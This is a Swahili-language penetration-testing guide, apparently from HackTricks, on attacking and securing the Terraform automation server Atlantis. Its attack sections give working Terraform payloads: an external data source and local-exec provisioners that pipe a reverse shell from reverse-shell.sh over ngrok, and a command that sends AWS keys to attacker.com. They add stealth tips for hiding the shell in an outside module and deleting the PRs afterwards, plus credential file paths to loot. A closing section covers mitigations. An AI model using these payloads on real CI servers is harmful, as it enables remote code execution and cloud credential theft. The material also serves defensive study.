Atlantis Security

Jifunze na zoezi la AWS Hacking:Mafunzo ya HackTricks AWS Red Team Expert (ARTE) Jifunze na zoezi la GCP Hacking: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)

Support HackTricks

Taarifa Msingi

Atlantis kimsingi inakusaidia kutekeleza terraform kutoka kwa Maombi ya Kuvuta kutoka kwa seva yako ya git.

Maabara ya Kienyeji

  1. Nenda kwenye ukurasa wa kutolewa kwa atlantis kwenye https://github.com/runatlantis/atlantis/releases na pakua ile inayokufaa.

  2. Unda ishara ya kibinafsi (yenye ufikivu wa repo) ya mtumiaji wako wa github

  3. Tekeleza ./atlantis testdrive na itaunda repo ya onyesho unayoweza kutumia kuzungumza na atlantis

  4. Unaweza kufikia ukurasa wa wavuti kwenye 127.0.0.1:4141

Upatikanaji wa Atlantis

Ishara za Seva ya Git

Atlantis inasaidia mwenyeji wa git kadhaa kama Github, Gitlab, Bitbucket na Azure DevOps. Hata hivyo, ili kupata ufikivu wa repos kwenye majukwaa hayo na kutekeleza vitendo, inahitaji kuwa na ufikivu wa kipekee uliopewa (angalau ruhusa za kuandika). Nyaraka zinahimiza kuunda mtumiaji kwenye majukwaa haya kwa kusudi la Atlantis, lakini baadhi ya watu wanaweza kutumia akaunti za kibinafsi.

Kwa mtazamo wa mshambuliaji, akaunti ya Atlantis itakuwa moja ya vitu vya kuvutia sana vya kudukua.

Webhooks

Atlantis hutumia hiari Siri za Webhook kuthibitisha kuwa webhooks inayopokea kutoka kwa mwenyeji wako wa Git ni halali.

Njia moja ya kuthibitisha hii ni kuruhusu maombi yaje tu kutoka kwa IPs ya mwenyeji wako wa Git lakini njia rahisi ni kutumia Siri ya Webhook.

Tambua kwamba isipokuwa unatumia seva ya github au bitbucket ya kibinafsi, utahitaji kufunua miisho ya webhook kwa Mtandao.

Atlantis itakuwa ina kufunua webhooks ili seva ya git iweze kutuma habari kwake. Kwa mtazamo wa mshambuliaji itakuwa ya kuvutia kujua kama unaweza kutuma ujumbe kwake.

Ishara za Mtoaji

Kutoka kwa nyaraka:

Atlantis inatekeleza Terraform kwa kutekeleza tu amri za terraform plan na apply kwenye seva Atlantis inayoendeshwa. Kama vile unapotekeleza Terraform kwa kibinafsi, Atlantis inahitaji ishara kwa mtoaji wako maalum.

Ni juu yako jinsi unavyo utoa ishara kwa mtoaji wako maalum kwa Atlantis:

  • Mchoro wa Atlantis Helm na Moduli ya AWS Fargate ina njia zao za kutoa ishara kwa mtoaji. Soma nyaraka zao.

  • Ikiwa unatekeleza Atlantis kwenye wingu basi mawingu mengi yana njia za kutoa ufikivu wa API ya wingu kwa programu zinazoendeshwa kwenye mawingu hayo, mfano:

  • Vyeo vya AWS EC2 (Tafuta "Vyeo vya EC2")

  • Watumiaji wengi huanzisha mazingira ya mazingira, mfano. AWS_ACCESS_KEY, ambapo Atlantis inaendeshwa.

  • Wengine hufanya faili za usanidi muhimu, mfano. ~/.aws/credentials, ambapo Atlantis inaendeshwa.

  • Tumia Mtoaji wa Hazina ya HashiCorp kupata ishara za mtoaji.

Kontena ambapo Atlantis inaendeshwa itakuwa na uwezekano mkubwa wa kuwa na ishara za kipekee kwa watoaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.

Ukurasa wa Wavuti

Kwa chaguo-msingi Atlantis itaendesha ukurasa wa wavuti kwenye bandari 4141 kwenye localhost. Ukurasa huu tu unakuwezesha kuwezesha/kulemaza atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kuhariri vitu, hivyo sio muhimu sana).

Labda hautaupata umefunuliwa kwa mtandao, lakini inaonekana kwa chaguo-msingi hakuna ishara zinahitajika kufikia (na kama zinahitajika atlantis:atlantis ni zile za chaguo-msingi).

Usanidi wa Seva

Usanidi wa seva ya atlantis unaweza kutajwa kupitia bendera za mstari wa amri, mazingira ya mazingira, faili ya usanidi au mchanganyiko wa vitatu hivyo.

Thamani zinachaguliwa kwa mpangilio huu:

  1. Bendera

  2. Mazingira ya Mazingira

  3. Faili ya Usanidi

Tambua kwamba katika usanidi unaweza kupata thamani za kuvutia kama vile ishara na nywila.

Usanidi wa Repos

Baadhi ya usanidi unaathiri jinsi repos zinavyosimamiwa. Hata hivyo, inawezekana kwamba kila repo inahitaji mipangilio tofauti, kwa hivyo kuna njia za kufafanua kila repo. Hii ni mpangilio wa kipaumbele:

  1. Repo /atlantis.yml faili. Faili hii inaweza kutumika kufafanua jinsi atlantis inavyopaswa kutibu repo. Hata hivyo, kwa chaguo-msingi baadhi ya funguo haziwezi kufafanuliwa hapa bila bendera zinazoruhusu hilo.

  2. Labda inahitajika kuruhusiwa na bendera kama allowed_overrides au allow_custom_workflows

  3. Usanidi wa Upande wa Seva: Unaweza kuipitisha kwa bendera --repo-config na ni yaml inayopanga mipangilio mpya kwa kila repo (regexes inasaidiwa)

  4. Thamani za Chaguo-msingi

Kinga za PR

Atlantis inaruhusu kuonyesha ikiwa unataka PR iwe imeidhinishwa na mtu mwingine (hata kama hiyo haijawekwa katika kinga ya tawi) na/au iwe inayoweza kufungwa (kinga ya tawi imepita) kabla ya kukimbia apply. Kutoka mtazamo wa usalama, kuweka chaguo zote ni muhimu.

Katika kesi allowed_overrides ni Kweli, mipangilio hii inaweza kubadilishwa kwenye kila mradi kupitia faili ya /atlantis.yml.

Scripts

Mipangilio ya repo inaweza kuainisha scripts za kukimbia kabla (pre workflow hooks) na baada (post workflow hooks) ya workflow kutekelezwa.

Hakuna chaguo la kuruhusu kuainisha scripts hizi katika faili ya repo /atlantis.yml.

Workflow

Katika mipangilio ya repo (mipangilio ya upande wa seva) unaweza kuainisha mfumo wa kazi uliozoeleka mpya, au kuunda mifumo ya kazi ya desturi mpya. Unaweza pia kuainisha ni repo zipi zinaweza kufikia zile mipya zilizozalishwa. Kisha, unaweza kuruhusu faili ya atlantis.yaml ya kila repo kuainisha mfumo wa kazi utakaotumika.

Ikiwa bendera ya mipangilio ya upande wa seva allow_custom_workflows imewekwa kuwa Kweli, mifumo ya kazi inaweza kuainishwa katika faili ya atlantis.yaml ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides inaainisha pia workflow kwa kubadilisha mfumo wa kazi utakaotumika. Hii kimsingi itatoa RCE kwenye seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Ukaguzi wa Sera ya Conftest

Atlantis inasaidia kukimbia conftest sera upande wa server dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:

  • Kukataa matumizi ya orodha ya moduli

  • Kudai sifa za rasilimali wakati wa uundaji

  • Kukamata kufutwa kwa rasilimali kwa bahati mbaya

  • Kuzuia hatari za usalama (yaani kufunua bandari salama kwa umma)

Unaweza kuangalia jinsi ya kuiwezesha katika nyaraka.

Amri za Atlantis

Katika nyaraka unaweza kupata chaguo unazoweza kutumia kukimbia Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Mashambulizi

Ikiwa wakati wa uvamizi unakutana na kosa hili: Kosa: Kosa la kupata kufunga hali

Unaweza kulitatua kwa kukimbia:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis mpango wa RCE - Kubadilisha Mipangilio kwenye PR mpya

Ikiwa una ufikiaji wa kuandika kwenye hazina, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis plan (au labda inatekelezwa kiotomatiki) utaweza kufanya RCE ndani ya seva ya Atlantis.

Unaweza kufanya hivi kwa kufanya Atlantis iweke chanzo cha data cha nje. Weka mzigo kama huu katika faili ya main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Shambulizi la Kujificha

Unaweza kutekeleza shambulizi hili hata kwa njia ya kujificha zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza kupakia rasilimali ya nje ambayo ina rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Unaweza kupata msimbo wa rev shell katika https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha msimbo wa rev shell wa terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Badala ya kuunda PR kwa masta kuzindua Atlantis, unda matawi 2 (jaribio1 na jaribio2) na unda PR kutoka moja kwenda nyingine. Ukikamilisha shambulio, ondoa tu PR na matawi.

Atlantis plan Secrets Dump

Unaweza kudondosha siri zinazotumiwa na terraform kwa kukimbia atlantis plan (terraform plan) kwa kuweka kitu kama hiki katika faili ya terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis inatumia RCE - Kubadilisha Mipangilio kwenye PR mpya

Ikiwa una ufikiaji wa kuandika kwenye hazina utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis apply utaweza kufanya RCE ndani ya seva ya Atlantis.

Hata hivyo, kawaida utahitaji kukiuka baadhi ya kinga:

  • Inayoweza Kufungwa: Ikiwa kinga hii imewekwa kwenye Atlantis, unaweza tu kukimbia atlantis apply ikiwa PR inaweza kufungwa (ambayo inamaanisha kuwa kinga ya tawi inahitaji kukiukwa).

  • Imeidhinishwa: Ikiwa kinga hii imewekwa kwenye Atlantis, mtumiaji mwingine lazima apitishe PR kabla ya wewe kuweza kukimbia atlantis apply

  • Kwa chaguo-msingi unaweza kutumia kitufe cha Gitbot kukiuka kinga hii

Kukimbia terraform apply kwenye faili ya Terraform yenye nia mbaya na local-exec. Unahitaji tu kuhakikisha kuwa mzigo fulani kama huu unamalizika kwenye faili ya main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu iliyopita kutekeleza shambulio hili kwa njia ya kujificha zaidi.

Uingizaji wa Paramu za Terraform

Unapokuwa unatekeleza atlantis plan au atlantis apply terraform inatekelezwa chini ya pazia, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kutoa maoni kama:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Kitu unachoweza kupitisha ni mazingira ya env ambayo yanaweza kusaidia kuzidi baadhi ya ulinzi. Angalia mazingira ya env ya terraform katika https://www.terraform.io/cli/config/environment-variables

Mchakato wa Kibinafsi

Kutekeleza amri za ujenzi za kawaida zenye nia mbaya zilizotajwa katika faili ya atlantis.yaml. Atlantis hutumia faili ya atlantis.yaml kutoka tawi la ombi la kuvuta, sio ya master. Uwezekano huu ulitajwa katika sehemu iliyopita:

Ikiwa bendera ya upande wa seva allow_custom_workflows imewekwa kuwa Kweli, mchakato wa kazi unaweza kuwa umeainishwa katika faili ya atlantis.yaml ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides inaainisha pia workflow kwa kuzidi mchakato wa kazi utakaotumiwa.

Hii kimsingi itatoa RCE kwenye seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Kupita mipango/maombi ya ulinzi

Ikiwa bendera ya upande wa seva allowed_overrides ime sanidiwa na apply_requirements, ni rahisi kwa repo kurekebisha mipango/maombi ya ulinzi ili kuzipita.

repos:
- id: /.*/
apply_requirements: []

Utekaji wa PR

Ikiwa mtu anatuma maoni ya atlantis plan/apply kwenye maombi yako halali ya pull, itasababisha terraform kufanya kazi wakati hauitaki.

Zaidi ya hayo, ikiwa huna kuweka katika ulinzi wa tawi kuomba kupitia tena kila PR wakati commit mpya inapigwa kwenye hiyo, mtu anaweza kuandika mizunguko ya uovu (angalia mifano iliyopita) kwenye mizunguko ya terraform, kukimbia atlantis plan/apply na kupata RCE.

Hii ni mazingira katika ulinzi wa matawi ya Github:

Siri ya Webhook

Ikiwa unaweza kuiba siri ya webhook iliyotumiwa au ikiwa hakuna siri ya webhook inayotumiwa, unaweza kuita webhook ya Atlantis na kuita amri za atlatis moja kwa moja.

Bitbucket

Bitbucket Cloud haishikilii siri za webhook. Hii inaweza kuruhusu wachomaji kufanya ombi za uwongo kutoka Bitbucket. Hakikisha unaruhusu tu anwani za IP za Bitbucket.

  • Hii inamaanisha kwamba mchomaji anaweza kufanya ombi bandia kwa Atlantis ambazo zinaonekana kama zinatoka kwa Bitbucket.

  • Ikiwa unaweka --repo-allowlist basi wanaweza tu kufanya ombi bandia yanayohusiana na repos hizo hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kutekeleza kwenye repos zako.

  • Ili kuzuia hili, ruhusu anwani za IP za Bitbucket (angalia Anwani za IP za IPv4 za kutoka).

Baada ya Utekaji

Ikiwa umefanikiwa kupata ufikiaji wa seva au angalau umepata LFI kuna vitu vya kuvutia unapaswa kujaribu kusoma:

  • /home/atlantis/.git-credentials Ina vibali vya ufikiaji wa vcs

  • /atlantis-data/atlantis.db Ina vibali vya ufikiaji wa vcs pamoja na maelezo zaidi

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Faili ya hali ya terraform

  • Mfano: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Vigezo vya mazingira

  • /proc/[2-20]/cmdline Mstari wa amri ya atlantis server (inaweza kuwa na data nyeti)

Kupunguza Hatari

Usitumie kwenye Repos za Umma

Kwa sababu yeyote anaweza kutoa maoni kwenye maombi ya pull ya umma, hata na mikakati ya kupunguza hatari inapatikana, bado ni hatari kufanya Atlantis kwenye repos za umma bila usanidi sahihi wa mipangilio ya usalama.

Usitumie --allow-fork-prs

Ikiwa unatumia kwenye repo ya umma (ambayo sio ilipendekezwa, angalia hapo juu) usiweke --allow-fork-prs (inayopendelewa kuwa ya uwongo) kwa sababu yeyote anaweza kufungua maombi ya pull kutoka kwa fork yao kwenye repo yako.

--repo-allowlist

Atlantis inahitaji uweke orodha ya ruhusa ya repositori itakayokubali webhooks kutoka kupitia bendera ya --repo-allowlist. Kwa mfano:

  • Repositori maalum: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Shirika lako zima: --repo-allowlist=github.com/runatlantis/*

  • Kila repositori kwenye usanidi wako wa GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Repositori zote: --repo-allowlist=*. Inafaa wakati uko kwenye mtandao uliolindwa lakini hatari bila kuweka siri ya webhook.

Bendera hii inahakikisha usanidi wako wa Atlantis haikutumiwa na repositori usizodhibiti. Angalia atlantis server --help kwa maelezo zaidi.

Lina Terraform Planning

Ikiwa wachomaji wanawasilisha maombi ya pull na nambari mbaya ya Terraform iko kwenye mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za terraform apply hazitoshi. Inawezekana kutekeleza nambari mbaya katika terraform plan kwa kutumia chanzo cha data cha external au kwa kufafanua mtoa huduma mbaya. Nambari hii inaweza kisha kuchukua vibali vyako.

Ili kuzuia hili, unaweza:

  1. Ingiza watoa huduma kwenye picha ya Atlantis au mwenyeji na kataa kutoka nje kwenye uzalishaji.

  2. Tekeleza itifaki ya usajili wa watoa huduma ndani na kataa kutoka nje ya umma, hivyo unadhibiti ni nani anayeandika upatikanaji wa usajili.

  3. Badilisha usanidi wa repo upande wa seva hatua ya plan kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyozuiliwa au PR kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada wakati huu, k.m. kuhitaji "kuidhinisha" kwenye PR kabla ya kuruhusu plan kuendelea. Conftest inaweza kuwa na manufaa hapa.

Siri za Webhook

Atlantis inapaswa kuendeshwa na siri za Webhook zilizowekwa kupitia mazingira ya $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Hata na bendera ya --repo-allowlist iliyowekwa, bila siri ya webhook, wachomaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa ni repo iliyoruhusiwa. Siri za webhook zinahakikisha kuwa maombi ya webhook yanatoka kweli kwa mtoa huduma wako wa VCS (GitHub au GitLab).

Ikiwa unatumia Azure DevOps, badala ya siri za webhook ongeza jina la msingi na nywila.

Uthibitishaji wa Msingi wa Azure DevOps

Azure DevOps inasaidia kutuma kichwa cha uthibitishaji wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.

SSL/HTTPS

Ikiwa unatumia siri za webhook lakini trafiki yako ni juu ya HTTP basi siri za webhook zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za --ssl-cert-file na --ssl-key-file.

Wezesha Uthibitishaji kwenye Seva ya Wavuti ya Atlantis

Inapendekezwa sana kuwezesha uthibitishaji kwenye huduma ya wavuti. Wezesha BasicAuth kwa kutumia --web-basic-auth=true na weka jina la mtumiaji na nywila kwa kutumia bendera za --web-username=yourUsername na --web-password=yourPassword.

Unaweza pia kupitisha haya kama mazingira ya mazingira ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername na ATLANTIS_WEB_PASSWORD=yourPassword.

Marejeo

Jifunze & jaribu Udukuzi wa AWS:Mafunzo ya HackTricks AWS Red Team Expert (ARTE) Jifunze & jaribu Udukuzi wa GCP: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)

unga mkono HackTricks

Last updated